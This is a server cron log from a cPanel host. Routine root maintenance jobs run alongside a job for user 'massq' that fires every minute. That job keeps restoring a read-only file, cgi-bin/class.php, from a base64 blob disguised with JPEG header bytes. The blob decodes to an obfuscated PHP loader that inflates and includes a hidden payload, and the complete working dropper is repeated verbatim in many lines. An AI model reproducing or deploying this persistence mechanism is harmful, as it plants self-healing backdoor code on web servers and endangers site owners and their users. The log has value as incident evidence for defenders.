Sep 10 16:45:01 server CROND[3504]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 16:46:01 server CROND[4289]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:46:01 server CROND[4290]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:46:01 server CROND[4291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:47:01 server CROND[4657]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:47:01 server CROND[4658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:47:01 server CROND[4659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:48:01 server CROND[5029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:48:01 server CROND[5030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:48:01 server CROND[5031]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:49:01 server CROND[5399]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:49:01 server CROND[5400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:49:01 server CROND[5401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:50:01 server CROND[5791]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 16:50:01 server CROND[5792]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 16:50:01 server CROND[5793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:50:01 server CROND[5794]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 16:50:01 server CROND[5799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:50:01 server CROND[5802]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 16:50:01 server CROND[5798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:50:01 server CROND[5800]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 16:50:01 server CROND[5797]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 16:51:01 server CROND[6622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:51:01 server CROND[6624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:51:01 server CROND[6623]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:52:01 server CROND[7083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:52:01 server CROND[7084]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:52:01 server CROND[7085]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:53:01 server CROND[7453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:53:01 server CROND[7454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:53:01 server CROND[7455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:54:01 server CROND[7833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:54:01 server CROND[7834]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:54:01 server CROND[7835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:55:01 server CROND[8219]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 16:55:01 server CROND[8221]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 16:55:01 server CROND[8222]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 16:55:01 server CROND[8223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:55:01 server CROND[8226]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 16:55:01 server CROND[8224]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:55:01 server CROND[8225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:56:01 server CROND[9042]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:56:01 server CROND[9043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:56:01 server CROND[9044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:57:01 server CROND[9408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:57:01 server CROND[9409]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:57:01 server CROND[9410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:57:01 server CROND[9411]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 16:58:01 server CROND[9780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
